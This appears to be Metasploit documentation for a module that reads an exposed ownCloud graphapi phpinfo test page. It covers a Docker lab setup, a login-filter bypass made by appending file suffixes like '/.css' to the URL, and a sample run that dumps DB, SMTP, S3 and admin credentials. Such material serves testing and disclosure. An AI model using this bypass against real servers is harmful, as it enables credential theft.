163 lines
5.6 KiB
Markdown
163 lines
5.6 KiB
Markdown
## Vulnerable Application
|
|
|
|
Docker containers of ownCloud compiled after February 2023, which have version 0.2.0 before 0.2.1 or 0.3.0 before 0.3.1 of the app `graph` installed
|
|
contain a test file which prints `phpinfo()` to an unauthenticated user. A post file name must be appended to the URL to bypass the login filter.
|
|
Docker may export sensitive environment variables including ownCloud, DB, redis, SMTP, and S3 credentials, as well as other host information.
|
|
|
|
### Docker-Compose Build
|
|
|
|
Using docker-compose we can build a fairly robust system with plenty of information to pilfer.
|
|
|
|
Based off of [Ron Bowes Blog Post](https://www.labs.greynoise.io//grimoire/2023-11-29-owncloud-redux/)
|
|
|
|
A list of environment variables is posted [here](https://github.com/owncloud-docker/base/blob/master/ENVIRONMENT.md#environment-variables)
|
|
|
|
```
|
|
version: "3"
|
|
|
|
services:
|
|
owncloud:
|
|
image: owncloud/server:10.12.1
|
|
container_name: owncloud_server
|
|
restart: always
|
|
ports:
|
|
- 8080:8080
|
|
depends_on:
|
|
- mariadb
|
|
- redis
|
|
environment:
|
|
- OWNCLOUD_DOMAIN=localhost:8080
|
|
- OWNCLOUD_TRUSTED_DOMAINS=localhost
|
|
- OWNCLOUD_DB_TYPE=mysql
|
|
- OWNCLOUD_DB_NAME=owncloud
|
|
- OWNCLOUD_DB_USERNAME=owncloud
|
|
- OWNCLOUD_DB_PASSWORD=owncloud
|
|
- OWNCLOUD_DB_HOST=mariadb
|
|
- OWNCLOUD_ADMIN_USERNAME=admin_username
|
|
- OWNCLOUD_ADMIN_PASSWORD=admin_password
|
|
- OWNCLOUD_MYSQL_UTF8MB4=true
|
|
- OWNCLOUD_REDIS_ENABLED=true
|
|
- OWNCLOUD_REDIS_HOST=redis
|
|
- APACHE_LOG_LEVEL=trace6
|
|
- OWNCLOUD_MAIL_SMTP_PASSWORD=smtp_password
|
|
- OWNCLOUD_MAIL_SMTP_NAME=smtp_username
|
|
- OWNCLOUD_LICENSE_KEY=1122333
|
|
- OWNCLOUD_OBJECTSTORE_KEY=owncloud123456
|
|
- OWNCLOUD_OBJECTSTORE_SECRET=secret123456
|
|
- OWNCLOUD_OBJECTSTORE_REGION=us-east-1
|
|
healthcheck:
|
|
test: ["CMD", "/usr/bin/healthcheck"]
|
|
interval: 30s
|
|
timeout: 10s
|
|
retries: 5
|
|
|
|
mariadb:
|
|
image: mariadb:10.11 # minimum required ownCloud version is 10.9
|
|
container_name: owncloud_mariadb
|
|
restart: always
|
|
environment:
|
|
- MYSQL_ROOT_PASSWORD=owncloud
|
|
- MYSQL_USER=owncloud
|
|
- MYSQL_PASSWORD=owncloud
|
|
- MYSQL_DATABASE=owncloud
|
|
- MARIADB_AUTO_UPGRADE=1
|
|
command: ["--max-allowed-packet=128M", "--innodb-log-file-size=64M"]
|
|
healthcheck:
|
|
test: ["CMD", "mysqladmin", "ping", "-u", "root", "--password=owncloud"]
|
|
interval: 10s
|
|
timeout: 5s
|
|
retries: 5
|
|
|
|
redis:
|
|
image: redis:6
|
|
container_name: owncloud_redis
|
|
restart: always
|
|
command: ["--databases", "1"]
|
|
healthcheck:
|
|
test: ["CMD", "redis-cli", "ping"]
|
|
interval: 10s
|
|
timeout: 5s
|
|
retries: 5
|
|
```
|
|
|
|
You may need to add an aditional entry to `OWNCLOUD_TRUSTED_DOMAINS` which has the IP address of the host, such as `OWNCLOUD_TRUSTED_DOMAINS=localhost,192.68.1.1`
|
|
|
|
If the `graph` app needs to be installed, use the following instructions:
|
|
|
|
```
|
|
docker exec -it owncloud_server /bin/bash
|
|
cd apps
|
|
wget "$(curl 'https://marketplace.owncloud.com/ajax/apps/graphapi/0.3.0' | sed 's/\\//g' | cut -d '"' -f 4)" -O graphapi-0.3.0.tar.gz
|
|
rm -rf graphapi
|
|
tar -zxf graphapi-0.3.0.tar.gz
|
|
occ app:enable graphapi
|
|
```
|
|
|
|
## Verification Steps
|
|
|
|
1. Install the application and plugin
|
|
1. Start msfconsole
|
|
1. Do: `use auxiliary/gather/owncloud_phpinfo_reader`
|
|
1. Do: `set rhost [ip]`
|
|
1. Do: `run`
|
|
1. You should information from the system configuration
|
|
|
|
## Options
|
|
|
|
### ROOT
|
|
|
|
Root path of the URI, which is different than `TARGETURI` as its ownCloud specific. Defaults to `all` which will try `''` (empty), and `owncloud`
|
|
|
|
### ENDFILE
|
|
|
|
The file path to add to the end of hte URL, which is used to bypass filtering. Defaults to `all` which will try `/.css`, `/.js`, `/.svg`,
|
|
`/.gif`, `/.png`, `/.html`, `/.ttf`, `/.woff`, `/.ico`, `/.jpg`, `/.jpeg`, `/.json`, `/.properties`, `/.min.map`, `/.js.map`, `/.auto.map`
|
|
|
|
## Scenarios
|
|
|
|
### ownCloud 10.12.1 from Docker Compose
|
|
|
|
```
|
|
resource (owncloud.rb)> use auxiliary/gather/owncloud_phpinfo_reader
|
|
resource (owncloud.rb)> set rhosts 127.0.0.1
|
|
rhosts => 127.0.0.1
|
|
resource (owncloud.rb)> set verbose true
|
|
verbose => true
|
|
resource (owncloud.rb)> run
|
|
[*] Running module against 127.0.0.1
|
|
[*] Checking: /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css
|
|
[+] Found phpinfo page at: /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css
|
|
[+] Loot stored to: /home/h00die/.msf4/loot/20231203153109_default_127.0.0.1_owncloud.phpinfo_453632.txt
|
|
[+] License Key: 1122333
|
|
[+] Hostname: b2b16d6f3ba6
|
|
[+] Home: /root
|
|
[+] Server Root: /var/www/owncloud
|
|
[+] PWD: /var/www/owncloud
|
|
[+] SMTP Username: smtp_username
|
|
[+] SMTP Password: smtp_password
|
|
[+] ownCloud Username: admin_username
|
|
[+] ownCloud Password: admin_password
|
|
[+] DB Host: mariadb:3306
|
|
[+] DB Username: owncloud
|
|
[+] DB Password: owncloud
|
|
[+] DB Name: owncloud
|
|
[+] Redis Host: redis
|
|
[+] Redis Port: 6379
|
|
[+] Objectstore Endpoint: https://s3.us-east-1.amazonaws.com
|
|
[+] Objectstore Region: us-east-1
|
|
[+] Objectsore Secret: secret123456
|
|
[+] Objectstore Key: owncloud123456
|
|
[+] Objectstore Bucket: owncloud
|
|
[+] Credentials
|
|
===========
|
|
|
|
Type Host Username Password Notes
|
|
---- ---- -------- -------- -----
|
|
S3 Object Store us-east-1 Key: owncloud123456 Secret: secret123456 Endpoint: https://s3.us-east-1.amazonaws.com, Bucket: owncloud
|
|
SMTP 127.0.0.1:25 smtp_username smtp_password
|
|
mysql 127.0.0.1:8080 owncloud owncloud
|
|
ownCloud 127.0.0.1:8080 admin_username admin_password
|
|
|
|
[*] Auxiliary module execution completed
|
|
```
|